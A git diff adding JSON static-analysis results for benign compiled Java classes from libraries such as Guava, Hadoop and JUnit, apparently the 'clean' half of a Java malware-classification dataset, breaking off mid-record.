b/java_classification/data/clean/0da41aeeeaeba2903ebefa3d6d064d1152f8fb506cc38d782e5a7b4115fbc759.results new file mode 100755 index 0000000..93f992b --- /dev/null +++ b/java_classification/data/clean/0da41aeeeaeba2903ebefa3d6d064d1152f8fb506cc38d782e5a7b4115fbc759.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "com/gcalsync/a", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["javax/microedition/lcdui/CommandListener"], "major_version": 45, "method_names": ["", "commandAction"], "minor_version": 3, "const_pool_count": 25}}, "_id": "fc3c0860-462d-4bf0-9313-204698f359d0", "metadata": {"mimetype": "application/x-java-applet", "sha1": "270d99f77d93f8d0b4e6d0a9baafad081f5e07d5", "file_name": "java_clean/0da41aeeeaeba2903ebefa3d6d064d1152f8fb506cc38d782e5a7b4115fbc759", "_id": "fc3c0860-462d-4bf0-9313-204698f359d0", "score": 0, "entropy": 5.1221947632272, "libmagic": "compiled Java class data, version 45.3", "file_size": 484, "ssdeep": "12:cwo+IR0J0elQSQTwy1tVjJ0ekuK+NiSO3RTQ5OBA+l8o8l81:cwClwy1Hb3HgC6", "sha256": "0da41aeeeaeba2903ebefa3d6d064d1152f8fb506cc38d782e5a7b4115fbc759", "md5": "f446d8657b135ecce65e353b8dc0a48c", "parent_sha256": "0da41aeeeaeba2903ebefa3d6d064d1152f8fb506cc38d782e5a7b4115fbc759"}} \ No newline at end of file diff --git a/java_classification/data/clean/0e6541692dcb3b76d7ce60b4922a813bc33300b73111c7ab3fe1fa8e75d04b6f.results b/java_classification/data/clean/0e6541692dcb3b76d7ce60b4922a813bc33300b73111c7ab3fe1fa8e75d04b6f.results new file mode 100755 index 0000000..ec7a5c4 --- /dev/null +++ b/java_classification/data/clean/0e6541692dcb3b76d7ce60b4922a813bc33300b73111c7ab3fe1fa8e75d04b6f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "RootNotFoundHandler.java", "class_name": "org/mortbay/http/handler/RootNotFoundHandler", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "handle", "class$", ""], "minor_version": 0, "const_pool_count": 217}}, "_id": "a7539f35-8cee-4c3b-9c95-1abaf08a48e4", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 5.052531781715428}, "constant strings": ["Root Not Found", "GET", "/", "Not Found", "text/html", "<", "<", ">", ">", "\\n\\nError 404 - Not Found", "\\n\\n

Error 404 - Not Found.

\\n", "No context on this server matched or handled this request.
", "Contexts known to this server are: The links above may not work if a virtual host is configured", "\\n", "\\n\\n\\n", "org.mortbay.http.handler.RootNotFoundHandler"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "551bb041c9ff65651efd8943e95ffdb63c0d5e61", "file_name": "java_clean/0e6541692dcb3b76d7ce60b4922a813bc33300b73111c7ab3fe1fa8e75d04b6f", "_id": "a7539f35-8cee-4c3b-9c95-1abaf08a48e4", "score": 0, "entropy": 5.82033936573617, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 3920, "ssdeep": "96:gq7FlSHYPtbLiOb4x//022ltPafKoOUgZE6:gGlSHAtyObBhltoKoOx", "sha256": "0e6541692dcb3b76d7ce60b4922a813bc33300b73111c7ab3fe1fa8e75d04b6f", "md5": "9068f3dcc88468751048036ab7b44a29", "parent_sha256": "0e6541692dcb3b76d7ce60b4922a813bc33300b73111c7ab3fe1fa8e75d04b6f"}} \ No newline at end of file diff --git a/java_classification/data/clean/0ee560b725b0b83a2c6e6208791e39221bc4fb0abda0c0db6bd49c98a6387a13.results b/java_classification/data/clean/0ee560b725b0b83a2c6e6208791e39221bc4fb0abda0c0db6bd49c98a6387a13.results new file mode 100755 index 0000000..dfca0ad --- /dev/null +++ b/java_classification/data/clean/0ee560b725b0b83a2c6e6208791e39221bc4fb0abda0c0db6bd49c98a6387a13.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "MinMaxPriorityQueue.java", "class_name": "com/google/common/collect/MinMaxPriorityQueue$Builder", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "expectedSize", "maximumSize", "create", "create", "ordering", "", "access$200", "access$300"], "minor_version": 0, "const_pool_count": 133}}, "_id": "4f09f21f-ac44-4fe1-a0ce-28822763be47", "verbose": {"java": {"signatures": ["Ljava/util/Comparator;", "(Ljava/util/Comparator;)V", "(I)Lcom/google/common/collect/MinMaxPriorityQueue$Builder;", "(I)Lcom/google/common/collect/MinMaxPriorityQueue$Builder;", "()Lcom/google/common/collect/MinMaxPriorityQueue;", "(Ljava/lang/Iterable<+TT;>;)Lcom/google/common/collect/MinMaxPriorityQueue;", "()Lcom/google/common/collect/Ordering;", "Ljava/lang/Object;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0e6ea5f50727ec4940d6d16514b2331075ec1109", "file_name": "java_clean/0ee560b725b0b83a2c6e6208791e39221bc4fb0abda0c0db6bd49c98a6387a13", "_id": "4f09f21f-ac44-4fe1-a0ce-28822763be47", "score": 0, "entropy": 5.353700196416255, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3826, "ssdeep": "48:zgwL6HM/lY0Eav/HXYV1srvM2io/PiJIQhIfpI6nVbtK/I9:UElY0EaXw1srMHoimQem6nV8M", "sha256": "0ee560b725b0b83a2c6e6208791e39221bc4fb0abda0c0db6bd49c98a6387a13", "md5": "05e3cc9c46b7d5d6cd6b2171cadb9f40", "parent_sha256": "0ee560b725b0b83a2c6e6208791e39221bc4fb0abda0c0db6bd49c98a6387a13"}} \ No newline at end of file diff --git a/java_classification/data/clean/0f055f73330acc699ac5faf4861374c2b862994b7d8420b3e7ce117f58df033c.results b/java_classification/data/clean/0f055f73330acc699ac5faf4861374c2b862994b7d8420b3e7ce117f58df033c.results new file mode 100755 index 0000000..5e265eb --- /dev/null +++ b/java_classification/data/clean/0f055f73330acc699ac5faf4861374c2b862994b7d8420b3e7ce117f58df033c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ImmutableSortedMap.java", "class_name": "com/google/common/collect/ImmutableSortedMap$Builder", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "put", "putAll", "build", "build", "putAll", "put"], "minor_version": 0, "const_pool_count": 135}}, "_id": "fc8a969f-f74b-4f1e-9a9f-24736bd27ac2", "verbose": {"java": {"signatures": ["Ljava/util/Comparator<-TK;>;", "(Ljava/util/Comparator<-TK;>;)V", "(TK;TV;)Lcom/google/common/collect/ImmutableSortedMap$Builder;", "(Ljava/util/Map<+TK;+TV;>;)Lcom/google/common/collect/ImmutableSortedMap$Builder;", "()Lcom/google/common/collect/ImmutableSortedMap;", "Lcom/google/common/collect/ImmutableMap$Builder;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1b8b8b69398981eafd0c43b8f661d7331b23de6a", "file_name": "java_clean/0f055f73330acc699ac5faf4861374c2b862994b7d8420b3e7ce117f58df033c", "_id": "fc8a969f-f74b-4f1e-9a9f-24736bd27ac2", "score": 0, "entropy": 5.36931201231664, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3512, "ssdeep": "48:v56G/lXE7YPNkC9ASuLxGi0tcMFNkCzSnt6+txL1CGpUr300Y/+p9:vNlXQwkCyFfMFNVSj91cj579", "sha256": "0f055f73330acc699ac5faf4861374c2b862994b7d8420b3e7ce117f58df033c", "md5": "0eb97a97e62ecebcc401ecfe9ed449f2", "parent_sha256": "0f055f73330acc699ac5faf4861374c2b862994b7d8420b3e7ce117f58df033c"}} \ No newline at end of file diff --git a/java_classification/data/clean/10b9e6407b4ec91b78b033aa31ec07e9a8f06124ab77b51c6b1db897a62ae1a8.results b/java_classification/data/clean/10b9e6407b4ec91b78b033aa31ec07e9a8f06124ab77b51c6b1db897a62ae1a8.results new file mode 100755 index 0000000..8191fc5 --- /dev/null +++ b/java_classification/data/clean/10b9e6407b4ec91b78b033aa31ec07e9a8f06124ab77b51c6b1db897a62ae1a8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FSConstants.java", "class_name": "org/apache/hadoop/dfs/FSConstants$CheckpointStates", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 49, "method_names": ["values", "valueOf", "", ""], "minor_version": 0, "const_pool_count": 61}}, "_id": "c44692fd-9185-45eb-bbc1-6236c4bfe82f", "verbose": {"java": {"signatures": ["()V", "Ljava/lang/Enum;"], "constant strings": ["START", "ROLLED_EDITS", "UPLOAD_START", "UPLOAD_DONE"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "69a621fccb9ce47507f3a186ff98a0db26aa345b", "file_name": "java_clean/10b9e6407b4ec91b78b033aa31ec07e9a8f06124ab77b51c6b1db897a62ae1a8", "_id": "c44692fd-9185-45eb-bbc1-6236c4bfe82f", "score": 0, "entropy": 5.448912305471953, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1322, "ssdeep": "24:LY/JrfdCAbd/bdGulzdapCB64d/dAogy9egTn6llDDdkHifK4uO1lvUE:U/JjoAbhb5lzc0B64FdP6jiH0uOkE", "sha256": "10b9e6407b4ec91b78b033aa31ec07e9a8f06124ab77b51c6b1db897a62ae1a8", "md5": "79cc10b49122089fd825876dd39fde5f", "parent_sha256": "10b9e6407b4ec91b78b033aa31ec07e9a8f06124ab77b51c6b1db897a62ae1a8"}} \ No newline at end of file diff --git a/java_classification/data/clean/10c62cfd736a56d99c1487459fbbb05ceeff8962551d52f97d44d5424fd44994.results b/java_classification/data/clean/10c62cfd736a56d99c1487459fbbb05ceeff8962551d52f97d44d5424fd44994.results new file mode 100755 index 0000000..9a9518d --- /dev/null +++ b/java_classification/data/clean/10c62cfd736a56d99c1487459fbbb05ceeff8962551d52f97d44d5424fd44994.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/SortedMaps$SortedMapDifferenceImpl", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/collect/SortedMapDifference"], "sourcefile": "SortedMaps.java", "method_names": ["", "entriesDiffering", "entriesInCommon", "entriesOnlyOnLeft", "entriesOnlyOnRight", "entriesDiffering", "entriesInCommon", "entriesOnlyOnRight", "entriesOnlyOnLeft"], "minor_version": 0, "const_pool_count": 71}}, "_id": "c9d6c033-6192-43d8-a93e-99312104b40a", "verbose": {"java": {"signatures": ["(ZLjava/util/SortedMap;Ljava/util/SortedMap;Ljava/util/SortedMap;Ljava/util/SortedMap;>;)V", "()Ljava/util/SortedMap;>;", "()Ljava/util/SortedMap;", "()Ljava/util/SortedMap;", "()Ljava/util/SortedMap;", "Lcom/google/common/collect/Maps$MapDifferenceImpl;Lcom/google/common/collect/SortedMapDifference;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0a4102eb0a55f39861690292a4dd78072b898696", "file_name": "java_clean/10c62cfd736a56d99c1487459fbbb05ceeff8962551d52f97d44d5424fd44994", "_id": "c9d6c033-6192-43d8-a93e-99312104b40a", "score": 0, "entropy": 5.133472621363413, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2716, "ssdeep": "48:tzlscIMWWuwtVGIGtcZ2jovKeTmsRUq5ROeRnTRQePyYvlV2mHTDN:Rl+OYTeTZZ/79hhXN", "sha256": "10c62cfd736a56d99c1487459fbbb05ceeff8962551d52f97d44d5424fd44994", "md5": "930d78d4a40f5829bfde0e6452fb924b", "parent_sha256": "10c62cfd736a56d99c1487459fbbb05ceeff8962551d52f97d44d5424fd44994"}} \ No newline at end of file diff --git a/java_classification/data/clean/11a1a39adc9b73324b889bdf7e3535f30a53ada4e6122b54b43405bc39d24ed7.results b/java_classification/data/clean/11a1a39adc9b73324b889bdf7e3535f30a53ada4e6122b54b43405bc39d24ed7.results new file mode 100755 index 0000000..b08cf22 --- /dev/null +++ b/java_classification/data/clean/11a1a39adc9b73324b889bdf7e3535f30a53ada4e6122b54b43405bc39d24ed7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "junit/textui/ResultPrinter", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["junit/framework/TestListener"], "sourcefile": "ResultPrinter.java", "method_names": ["", "print", "printWaitPrompt", "printHeader", "printErrors", "printFailures", "printDefects", "printDefect", "printDefectHeader", "printDefectTrace", "printFooter", "elapsedTimeAsString", "getWriter", "addError", "addFailure", "endTest", "startTest"], "minor_version": 0, "const_pool_count": 228}}, "_id": "108289b6-865d-419b-8cb5-f5f67ee5df3b", "verbose": {"java": {"signatures": ["(Ljava/util/Enumeration;ILjava/lang/String;)V"], "constant strings": [" to continue", "Time: ", "error", "failure", "There was ", " ", ":", "There were ", "s:", ") ", "OK", " (", " test", "", "s", ")", "FAILURES!!!", "Tests run: ", ", Failures: ", ", Errors: ", "E", "F", "."], "JAVA String Analysis": {"combined strings entropy": 4.547069224150617}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "361703ced20821fad720d20730832f080e3f00b2", "file_name": "java_clean/11a1a39adc9b73324b889bdf7e3535f30a53ada4e6122b54b43405bc39d24ed7", "_id": "108289b6-865d-419b-8cb5-f5f67ee5df3b", "score": 0, "entropy": 5.3950592745345585, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4702, "ssdeep": "96:PDxeltK/BGkW+OYUc/tXu2ZuExMPZ2MpdU:rwlo/OPc1XjuExMPZi", "sha256": "11a1a39adc9b73324b889bdf7e3535f30a53ada4e6122b54b43405bc39d24ed7", "md5": "68a54c578f28b51f99fc409774628b52", "parent_sha256": "11a1a39adc9b73324b889bdf7e3535f30a53ada4e6122b54b43405bc39d24ed7"}} \ No newline at end of file diff --git a/java_classification/data/clean/1278d2ff8c5ca8fbd050bda81fa9c07f33697c56b41dcffc3d56677a4f8ccc3a.results b/java_classification/data/clean/1278d2ff8c5ca8fbd050bda81fa9c07f33697c56b41dcffc3d56677a4f8ccc3a.results new file mode 100755 index 0000000..ae68bca --- /dev/null +++ b/java_classification/data/clean/1278d2ff8c5ca8fbd050bda81fa9c07f33697c56b41dcffc3d56677a4f8ccc3a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/dom4j/swing/LeafTreeNode$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/Enumeration"], "sourcefile": "LeafTreeNode.java", "method_names": ["", "hasMoreElements", "nextElement"], "minor_version": 0, "const_pool_count": 24}}, "_id": "e027989c-f7d1-4a17-9970-745f627d58be", "metadata": {"mimetype": "application/x-java-applet", "sha1": "53ca1d5eca7f67a7f1b7d9f2f6cd6c19c1a6907d", "file_name": "java_clean/1278d2ff8c5ca8fbd050bda81fa9c07f33697c56b41dcffc3d56677a4f8ccc3a", "_id": "e027989c-f7d1-4a17-9970-745f627d58be", "score": 0, "entropy": 4.734748900883055, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 537, "ssdeep": "12:gg3SDQulPsoxhMt/W+nuRSu1IQRwjoUJESnslNhkzykNEw:/yQuljot/WpRZ1IQYINyrqw", "sha256": "1278d2ff8c5ca8fbd050bda81fa9c07f33697c56b41dcffc3d56677a4f8ccc3a", "md5": "51d198195a03bb562adc2feb7b3eb9b9", "parent_sha256": "1278d2ff8c5ca8fbd050bda81fa9c07f33697c56b41dcffc3d56677a4f8ccc3a"}} \ No newline at end of file diff --git a/java_classification/data/clean/12faab65b71716a73597714b08e928ab71d09c660c8f3fc02a8983fdcc18b0b5.results b/java_classification/data/clean/12faab65b71716a73597714b08e928ab71d09c660c8f3fc02a8983fdcc18b0b5.results new file mode 100755 index 0000000..9dc42a2 --- /dev/null +++ b/java_classification/data/clean/12faab65b71716a73597714b08e928ab71d09c660c8f3fc02a8983fdcc18b0b5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/scripting/missions/Mission$2", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "Mission.java", "method_names": ["", "invoke", "access$0"], "minor_version": 0, "const_pool_count": 58}}, "_id": "428ce1cc-b187-4ed7-9064-0ee07e77f7c7", "metadata": {"mimetype": "application/x-java-applet", "sha1": "9e7bd1ebe2cf9fb7698ac0019c82de33354dfa7b", "file_name": "java_clean/12faab65b71716a73597714b08e928ab71d09c660c8f3fc02a8983fdcc18b0b5", "_id": "428ce1cc-b187-4ed7-9064-0ee07e77f7c7", "score": 0, "entropy": 5.203960805757302, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1289, "ssdeep": "24:SKHOw4cBj36ljqTXcd1z5/17U7Xr6EW5aasD:S0OyBD6lQ7zWK", "sha256": "12faab65b71716a73597714b08e928ab71d09c660c8f3fc02a8983fdcc18b0b5", "md5": "ff4b4ae37c1aaa8c0618d278d42a6067", "parent_sha256": "12faab65b71716a73597714b08e928ab71d09c660c8f3fc02a8983fdcc18b0b5"}} \ No newline at end of file diff --git a/java_classification/data/clean/135259845857e5d078622c304fcdadd4bdc71a556cebdaaf321e894b40b2b733.results b/java_classification/data/clean/135259845857e5d078622c304fcdadd4bdc71a556cebdaaf321e894b40b2b733.results new file mode 100755 index 0000000..da13223 --- /dev/null +++ b/java_classification/data/clean/135259845857e5d078622c304fcdadd4bdc71a556cebdaaf321e894b40b2b733.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/odlabs/wiquery/core/ajax/JQueryAjaxOption", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/odlabs/wiquery/core/options/IComplexOption", "org/apache/wicket/model/IModel"], "sourcefile": "JQueryAjaxOption.java", "method_names": ["", "getJavascriptOption", "getOptions", "setAsync", "isAsync", "setCache", "isCache", "setContentType", "getContentType", "setData", "getData", "setDataType", "getDataType", "setGlobal", "isGlobal", "setIfModified", "isIfModified", "setJsonp", "getJsonp", "setPassword", "getPassword", "setProcessData", "isProcessData", "setScriptCharset", "getScriptCharset", "setTimeout", "getTimeout", "setType", "getType", "setUrl", "getUrl", "setUsername", "getUsername", "setBeforeSendEvent", "setCompleteEvent", "setDataFilterEvent", "setErrorEvent", "setSuccessEvent", "setXhrEvent", "getObject", "setObject", "detach", "setObject", "getObject"], "minor_version": 0, "const_pool_count": 217}}, "_id": "407be396-3519-465c-946a-b2f3652bc616", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lorg/odlabs/wiquery/core/options/IComplexOption;Lorg/apache/wicket/model/IModel;"], "constant strings": ["async", "cache", "contentType", "application/x-www-form-urlencoded", "data", "dataType", "global", "ifModified", "jsonp", "password", "processData", "scriptCharset", "timeout", "type", "url", "username", "beforeSend", "complete", "dataFilter", "error", "success", "xhr", "The setObject() function is not supported for object JQueryAjaxOption."], "JAVA String Analysis": {"combined strings entropy": 4.580632823875825, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "complete"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0194c8294e001e7939042844a9f586f338733fd3", "file_name": "java_clean/135259845857e5d078622c304fcdadd4bdc71a556cebdaaf321e894b40b2b733", "_id": "407be396-3519-465c-946a-b2f3652bc616", "score": 0, "entropy": 5.1324376845981945, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 7149, "ssdeep": "96:LrG7FlilEZBlAaU6g1oNRy7JkeAkM272i1:LUlnKoG9keDMZi1", "sha256": "135259845857e5d078622c304fcdadd4bdc71a556cebdaaf321e894b40b2b733", "md5": "fb9b105604b6ad2544ed4f80484fc427", "parent_sha256": "135259845857e5d078622c304fcdadd4bdc71a556cebdaaf321e894b40b2b733"}} \ No newline at end of file diff --git a/java_classification/data/clean/13f5602c5919bd68f255d095691063dfb71c42d5525893de181a936dadf991f6.results b/java_classification/data/clean/13f5602c5919bd68f255d095691063dfb71c42d5525893de181a936dadf991f6.results new file mode 100755 index 0000000..9bd6719 --- /dev/null +++ b/java_classification/data/clean/13f5602c5919bd68f255d095691063dfb71c42d5525893de181a936dadf991f6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 46, "class_name": "org/apache/log4j/spi/LocationInfo", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "LocationInfo.java", "method_names": ["", "getClassName", "getFileName", "getLineNumber", "getMethodName", ""], "minor_version": 0, "const_pool_count": 146}}, "_id": "35f98ca8-7a2e-4265-b406-59a41772194e", "verbose": {"java": {"constant strings": ["at ", "?", "com.ibm.uvm.tools.DebugSupport", "Detected IBM VisualAge environment."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "51e27360a1daef9e4573fea6b7808369f7f55618", "file_name": "java_clean/13f5602c5919bd68f255d095691063dfb71c42d5525893de181a936dadf991f6", "_id": "35f98ca8-7a2e-4265-b406-59a41772194e", "score": 0, "entropy": 5.650283910502261, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 3019, "ssdeep": "48:cRz9Fgel3oETogKwE8OaM29HgoXalkWTUMxyUmv6kqQ0JaOfQeFz0eT:cRbHlC1wEoB+xs6ksJ7QeB9T", "sha256": "13f5602c5919bd68f255d095691063dfb71c42d5525893de181a936dadf991f6", "md5": "2d551c93b492ef31e2356be9ab923166", "parent_sha256": "13f5602c5919bd68f255d095691063dfb71c42d5525893de181a936dadf991f6"}} \ No newline at end of file diff --git a/java_classification/data/clean/1469d78937b2d80223cec6101b3e3b7015bcc5d45b3af604d0a561c4caf504f0.results b/java_classification/data/clean/1469d78937b2d80223cec6101b3e3b7015bcc5d45b3af604d0a561c4caf504f0.results new file mode 100755 index 0000000..b53651f --- /dev/null +++ b/java_classification/data/clean/1469d78937b2d80223cec6101b3e3b7015bcc5d45b3af604d0a561c4caf504f0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SAXModifyReader.java", "class_name": "org/dom4j/io/SAXModifyReader", "access_permissions": ["ACC_SUPER"], "major_version": 47, "method_names": ["", "", "", "", "", "", "", "", "setXMLWriter", "isPruneElements", "setPruneElements", "createContentHandler", "getXMLWriter"], "minor_version": 0, "const_pool_count": 83}}, "_id": "182ffa5d-ca24-4dba-bd3f-233687255697", "metadata": {"mimetype": "application/x-java-applet", "sha1": "dea0169118ffbf8a82bd1b56ad30510dc8d44f1a", "file_name": "java_clean/1469d78937b2d80223cec6101b3e3b7015bcc5d45b3af604d0a561c4caf504f0", "_id": "182ffa5d-ca24-4dba-bd3f-233687255697", "score": 0, "entropy": 5.00584379609132, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 2332, "ssdeep": "48:FdY4unO4JKyFlMbIuQseAAN3lhu5qgR85ScxUaWXaEO01iY1Kalp7U:FdY4+JDFlMbHefuIgRiSoUpi0wLum", "sha256": "1469d78937b2d80223cec6101b3e3b7015bcc5d45b3af604d0a561c4caf504f0", "md5": "fd5bf28350893b708169010b3e24b8a3", "parent_sha256": "1469d78937b2d80223cec6101b3e3b7015bcc5d45b3af604d0a561c4caf504f0"}} \ No newline at end of file diff --git a/java_classification/data/clean/146a66b166b6fb0289cad7f685357ce3e9af399dfe8c443a4925050b36d9485c.results b/java_classification/data/clean/146a66b166b6fb0289cad7f685357ce3e9af399dfe8c443a4925050b36d9485c.results new file mode 100755 index 0000000..e674746 --- /dev/null +++ b/java_classification/data/clean/146a66b166b6fb0289cad7f685357ce3e9af399dfe8c443a4925050b36d9485c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Parameterized.java", "class_name": "org/junit/runners/Parameterized$TestClassRunnerForParameters", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "createTest", "computeParams", "getName", "testName", "validateZeroArgConstructor", "classBlock"], "minor_version": 0, "const_pool_count": 131}}, "_id": "38668382-d6dd-4fde-881e-49a8be9d7a6d", "verbose": {"java": {"signatures": ["Ljava/util/List<[Ljava/lang/Object;>;", "(Ljava/lang/Class<*>;Ljava/util/List<[Ljava/lang/Object;>;I)V", "(Ljava/util/List;)V"], "constant strings": ["%s.%s() must return a Collection of arrays.", "[%s]", "%s[%s]"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "807d9770f36b3759de51c0ab78efd1301efafea6", "file_name": "java_clean/146a66b166b6fb0289cad7f685357ce3e9af399dfe8c443a4925050b36d9485c", "_id": "38668382-d6dd-4fde-881e-49a8be9d7a6d", "score": 0, "entropy": 5.359283454142362, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3212, "ssdeep": "48:mcQtQvDNv0laUyFvbUyeJeL3sRpsR3XDkQTEd4QTYx6dq6ZFxvbUyS1Uysiut8v/:mcKlaUQUuge1E9YcB5UbUN5Vx8ztv42", "sha256": "146a66b166b6fb0289cad7f685357ce3e9af399dfe8c443a4925050b36d9485c", "md5": "2dacf77a89730922ff7fc24ac44d1531", "parent_sha256": "146a66b166b6fb0289cad7f685357ce3e9af399dfe8c443a4925050b36d9485c"}} \ No newline at end of file diff --git a/java_classification/data/clean/14797c14af47854c67396224cb5bf6eb5b0d72bb25bf9d158441cc45eed0102c.results b/java_classification/data/clean/14797c14af47854c67396224cb5bf6eb5b0d72bb25bf9d158441cc45eed0102c.results new file mode 100755 index 0000000..43e8779 --- /dev/null +++ b/java_classification/data/clean/14797c14af47854c67396224cb5bf6eb5b0d72bb25bf9d158441cc45eed0102c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DefaultOptionBuilder.java", "class_name": "org/apache/commons/cli2/builder/DefaultOptionBuilder", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "create", "reset", "withShortName", "withLongName", "withDescription", "withRequired", "withChildren", "withArgument", "withId"], "minor_version": 0, "const_pool_count": 146}}, "_id": "36703c2d-1e6f-4d30-87eb-3a9c4e5ea63b", "verbose": {"java": {"constant strings": ["-", "--", "Option.illegal.short.prefix", "Option.illegal.long.prefix", "Option.no.name"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c803315e86034203bddcd3440e42c9770ed97fd9", "file_name": "java_clean/14797c14af47854c67396224cb5bf6eb5b0d72bb25bf9d158441cc45eed0102c", "_id": "36703c2d-1e6f-4d30-87eb-3a9c4e5ea63b", "score": 0, "entropy": 5.443942585585256, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 3818, "ssdeep": "48:juxKQW7WvQyFl2gOTdBLmfJuITMSoEp3TqzvVKIQiDEXaUXUSvimAxGRCzcelGgt:j16FlZsYoIgO3WAN1XaUXUIQ8wlt", "sha256": "14797c14af47854c67396224cb5bf6eb5b0d72bb25bf9d158441cc45eed0102c", "md5": "458f2bc19ab86bca6bc746a2945dd74a", "parent_sha256": "14797c14af47854c67396224cb5bf6eb5b0d72bb25bf9d158441cc45eed0102c"}} \ No newline at end of file diff --git a/java_classification/data/clean/14ca313ff39f06ce0a8675763d59a91db07a6f6fc0bfa09f9437bbf27f01614d.results b/java_classification/data/clean/14ca313ff39f06ce0a8675763d59a91db07a6f6fc0bfa09f9437bbf27f01614d.results new file mode 100755 index 0000000..cee54c7 --- /dev/null +++ b/java_classification/data/clean/14ca313ff39f06ce0a8675763d59a91db07a6f6fc0bfa09f9437bbf27f01614d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/mapred/join/CompositeRecordReader$2", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/Comparator"], "sourcefile": "CompositeRecordReader.java", "method_names": ["", "compare", "compare"], "minor_version": 0, "const_pool_count": 63}}, "_id": "44de15dd-de46-4a97-9df3-e30a21665ae5", "verbose": {"java": {"signatures": ["(Lorg/apache/hadoop/mapred/join/ComposableRecordReader;Lorg/apache/hadoop/mapred/join/ComposableRecordReader;)I", "Ljava/lang/Object;Ljava/util/Comparator;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2b328ccba3f145722c75e6d27953031fac480a96", "file_name": "java_clean/14ca313ff39f06ce0a8675763d59a91db07a6f6fc0bfa09f9437bbf27f01614d", "_id": "44de15dd-de46-4a97-9df3-e30a21665ae5", "score": 0, "entropy": 5.116051515436086, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2043, "ssdeep": "48:AncrBC5BlIlSBGBL5vS5G5L5o5U5E8f5C+Ns5YBgrBq5laB17LbQFY9OeB4mfn:AcrBIBlIlSBGBL5vS5G5L5o5U5Pf5C+K", "sha256": "14ca313ff39f06ce0a8675763d59a91db07a6f6fc0bfa09f9437bbf27f01614d", "md5": "66cb073c3fcd35ed3891ff2fb4870a00", "parent_sha256": "14ca313ff39f06ce0a8675763d59a91db07a6f6fc0bfa09f9437bbf27f01614d"}} \ No newline at end of file diff --git a/java_classification/data/clean/14d499f2d69a0bd90ef2614afc1cf199abddfca83cf743ba330e23a067db2843.results b/java_classification/data/clean/14d499f2d69a0bd90ef2614afc1cf199abddfca83cf743ba330e23a067db2843.results new file mode 100755 index 0000000..f4f26ab --- /dev/null +++ b/java_classification/data/clean/14d499f2d69a0bd90ef2614afc1cf199abddfca83cf743ba330e23a067db2843.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "javassist/expr/Cast$ProceedForCast", "access_permissions": ["ACC_SUPER"], "interfaces": ["javassist/compiler/ProceedHandler"], "sourcefile": "Cast.java", "method_names": ["", "doit", "setReturnType"], "minor_version": 0, "const_pool_count": 82}}, "_id": 